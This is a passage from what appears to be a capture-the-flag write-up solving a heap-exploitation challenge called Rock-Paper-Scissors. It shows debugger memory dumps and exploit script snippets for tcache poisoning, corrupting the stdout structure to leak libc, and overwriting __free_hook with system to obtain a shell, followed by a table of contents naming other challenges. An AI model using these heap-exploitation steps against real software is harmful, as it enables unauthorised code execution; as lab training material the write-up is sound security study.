This piece of code allocates a few chunks beforehand so that the chunk gamelist[1]+0xa0 is a valid chunk, then it increments the tries of the gamelist[4] since it is the size metadata of gamelist[1] and it is null at the moment

ef➤  x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000      0x00005577108f9010
0x5577108f92b0: 0x0000000000000000      0x0000000000000000
0x5577108f92c0: 0x00005577108f92b0      0x0000000000000000
0x5577108f92d0: 0x0000000000000000      0x0000000000000021
0x5577108f92e0: 0x0000000000000000      0x00005577108f9010
0x5577108f92f0: 0x0000000000000000      0x0000000000000021
0x5577108f9300: 0x00005577108f9010      0x0000000000000000
0x5577108f9310: 0x0000000000000000      0x0000000000000021
0x5577108f9320: 0x0000000000000000      0x0000000000000000
0x5577108f9330: 0x0000000000000000      0x0000000000000021
......

After incrementing tries

ef➤  x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000      0x00005577108f9010
0x5577108f92b0: 0x0000000000000000      0x0000000000000021
0x5577108f92c0: 0x00005577108f92b0      0x0000000000000000
0x5577108f92d0: 0x0000000000000000      0x0000000000000021
0x5577108f92e0: 0x0000000000000000      0x00005577108f9010
0x5577108f92f0: 0x0000000000000000      0x0000000000000021
0x5577108f9300: 0x00005577108f9010      0x0000000000000000
0x5577108f9310: 0x0000000000000000      0x0000000000000021
0x5577108f9320: 0x0000000000000000      0x0000000000000000
0x5577108f9330: 0x0000000000000000      0x0000000000000021
.......

Now when we free this chunk(gamelist[1]) , it ends up in the tcache bin. Then we increment the tries of gamelist[4] again to make it 0xa0 this time

gef➤  x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000      0x00005577108f9010
0x5577108f92b0: 0x0000000000000000      0x00000000000000a1
0x5577108f92c0: 0x00005577108f9361      0x00005577108f9010
0x5577108f92d0: 0x0000000000000000      0x0000000000000021
0x5577108f92e0: 0x0000000000000000      0x00005577108f9010
0x5577108f92f0: 0x0000000000000000      0x0000000000000021
0x5577108f9300: 0x00005577108f9010      0x0000000000000000
0x5577108f9310: 0x0000000000000000      0x0000000000000021
........

...and free gamelist[1] again, this should put it in the unsorted bin at the same time it is in the tcache bin

gef➤  x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000      0x00005577108f9010
0x5577108f92b0: 0x0000000000000000      0x00000000000000a1
0x5577108f92c0: 0x00007f18a35f0be0      0x00007f18a35f0be0
0x5577108f92d0: 0x0000000000000000      0x0000000000000021
0x5577108f92e0: 0x0000000000000000      0x00005577108f9010
0x5577108f92f0: 0x0000000000000000      0x0000000000000021
0x5577108f9300: 0x00005577108f9010      0x0000000000000000
0x5577108f9310: 0x0000000000000000      0x0000000000000021

malloc gives preference to the tcache bin when selecting a chunk to return, thus we can leverage this behaviour to return a chunk to an address in the libc by incrementing the libc address which putting the chunk in unsorted bin placed it in the location of tcache fwd pointer.

Now the tcache looks like this:

rockpaperscissors_5.png

We want to change the value at 0x5577108f92c0 to make it point to _IO_2_1_stdout_ structure so that we can modify it's flags and the write base.

gef➤  p &_IO_2_1_stdout_
$3 = (<data variable, no debug info> *) 0x7f18a35f16a0 <_IO_2_1_stdout_>
gef➤  p/x 0x7f18a35f16a0-0x00007f18a35f0be0
$4 = 0xac0

So we need to add 0xac0 to the 1st chunk in order to get a chunk at stdout.

    deleted_score(1,0xac0) # increment the value to point to _IO_2_1_stdout_
    create() # game[16]
    create() # game[17]

This code just does that, the chunk at gamelist[17] should now point to the stdout->flags , let's examine what the current value of flags is

gef➤  x/gx 0x7f18a35f16a0
0x7f18a35f16a0 <_IO_2_1_stdout_>:       0x00000000fbad2887
gef➤  p/u 0x00000000fbad2887-0x1800
$7 = 4222423175

so we would need to subtract this value from the already present flags. We can do it as follows

deleted_score(17,-4222423175)

Now we just need to do one more step to get to leak the libc address, i.e , - _IO_2_1_stdout_->_IO_write_ptr should be larger than _IO_2_1_stdout_->_IO_write_base, in order to do that, we need to poison the chunk gamelist[1] again.

    win(7)
    deleted_score(7,-0x93)
    resume_dlt(11)
    resume_dlt(12)
    deleted_score(12,-192)
    deleted_score(1,0x28)
	create() # game[18]
    create() # game[19]
    create() # game[20], this returns the address of the _IO_2_1_stdout_->_IO_write_ptr

This will adjust the tcache_perthread_struct which has been inevitably been modified by the play function, then it will delete the 11th and 12th struct and initiate tcache poisoning for the tcache struct to return the gamelist[1] struct.

gef➤  x/54gx 0x00005577108f92a0
0x5577108f92a0: 0x0000000000000000      0x00005577108f9010
0x5577108f92b0: 0x0000000000000000      0x00000000000000a1
0x5577108f92c0: 0x00007f18a35f16c8      0x0000000000000000
0x5577108f92d0: 0x0000000000000000      0x0000000000000021
0x5577108f92e0: 0x0000000000000000      0x00005577108f9010
0x5577108f92f0: 0x0000000000000000      0x0000000000000021
0x5577108f9300: 0x00005577108f9010      0x0000000000000000
0x5577108f9310: 0x0000000000000000      0x0000000000000021
0x5577108f9320: 0x0000000000000000      0x0000000000000000
0x5577108f9330: 0x0000000000000000      0x0000000000000021
0x5577108f9340: 0x0000000000000000      0x0000000000000000
0x5577108f9350: 0x00000000000000a0      0x0000000000000020
0x5577108f9360: 0x0000000000000001      0x00005577108f9010
0x5577108f9370: 0x0000000000000000      0x0000000000000021
0x5577108f9380: 0x00000000fbad2887      0x00005577108f9010
0x5577108f9390: 0x0000000000000000      0x0000000000000021
0x5577108f93a0: 0x00005577108f92c0      0x0000000000000000
....

Then we modify the value of the gamelist[1] to point to the _IO_2_1_stdout_->_IO_write_ptr and make it larger than the _IO_2_1_stdout_->_IO_write_base.

```gef➤  x/24gx &gamelist
0x55770e903080 <gamelist>:      0x00005577108f92a0      0x00005577108f92c0
0x55770e903090 <gamelist+16>:   0x00005577108f92e0      0x00005577108f92c0
0x55770e9030a0 <gamelist+32>:   0x00005577108f92b0      0x00005577108f9300
0x55770e9030b0 <gamelist+48>:   0x00005577108f9300      0x00005577108f9010
0x55770e9030c0 <gamelist+64>:   0x00005577108f9320      0x00005577108f9340
0x55770e9030d0 <gamelist+80>:   0x00005577108f9360      0x00005577108f9380
0x55770e9030e0 <gamelist+96>:   0x00005577108f93a0      0x00005577108f93c0
0x55770e9030f0 <gamelist+112>:  0x00005577108f93e0      0x00005577108f9400
0x55770e903100 <gamelist+128>:  0x00005577108f92c0      0x00007f18a35f16a0
0x55770e903110 <gamelist+144>:  0x00005577108f93a0      0x00005577108f92c0
0x55770e903120 <gamelist+160>:  0x00007f18a35f16c8      0x0000000000000000
0x55770e903130 <gamelist+176>:  0x0000000000000000      0x0000000000000000

This will be achieved by the following code,

    sla(b"Enter your choice: ",b"2")
    sla(b"Enter the # of the game you want to resume playing: ",b"20")
    sla(b"Enter your choice: ",b"1")
    sla(b"Play your move(rock|paper|scissors): ","rockpaperscissors")
    sla(b"Enter how many points do you wish to add to the scoreboard: ",b"48")

This increments the value of _IO_2_1_stdout_->_IO_write_ptr so that it is more than _IO_2_1_stdout_->_IO_write_base. Now we should get a libc leak whenever puts gets called.

rockpaperscissors_6.png

Let's parse out this leak and get the libc base.

    libc.address=libc_leak-0x1ee7e0
    print(f"Leaked Libc address: {hex(libc.address)}")

Next, we need to perform tcache poisoning one last time to overwrite the __free_hook with the address of system,

    resume_dlt(13)
    resume_dlt(14)
    win(7)
    deleted_score(7,-0x93)
    deleted_score(13,0x1725)
    create()# game[21]
    create()# game[22]
    create()# game[23] -> free_hook
    win(0)
    deleted_score(0,29400045130965551-0x96)
    win(23)
    print(f"address of system: {hex(libc.symbols['system']-0x96)}")
    deleted_score(23,libc.symbols['system']-0x96)
    resume_dlt(0)

Executing the script, we get the shell!!!

rockpaperscissors_7.png

Table of Contents

  • iv. Bigollo Encryption

  • Initial Analysis

  • v. Baby Fox

  • vi. Task List

  • The big Idea is to create a job -> ROP to leak the libc addresses of 2 functions[24 bytes (pop rdi + got address of function + puts@plt)] -> determine the libc version, calculate the base and the address of system function -> call the main function again [extra 8 bytes in the overflow] -> edit task to overwrite the sscanf of

  • difference b/w system unix ts and actual system unix ts = system+14436

  • vii. Task Assignment

  • viii. Damn\.com

  • First we will send a malicious comment which will contain our entire payload

  • admin will visit it

  • we wait for a few seconds

  • submit the import blog form with

  • ix. Breaking Bad Cryptography

  • Breaking Bad Cryptography

  • Curve parameters --> Replace the next three lines with given values

  • Define curve

  • Replace the next two lines with given values

  • x. Rock-Paper-Scissors

  • we need to create these chunks so that the

Let's take your security
to the next level

security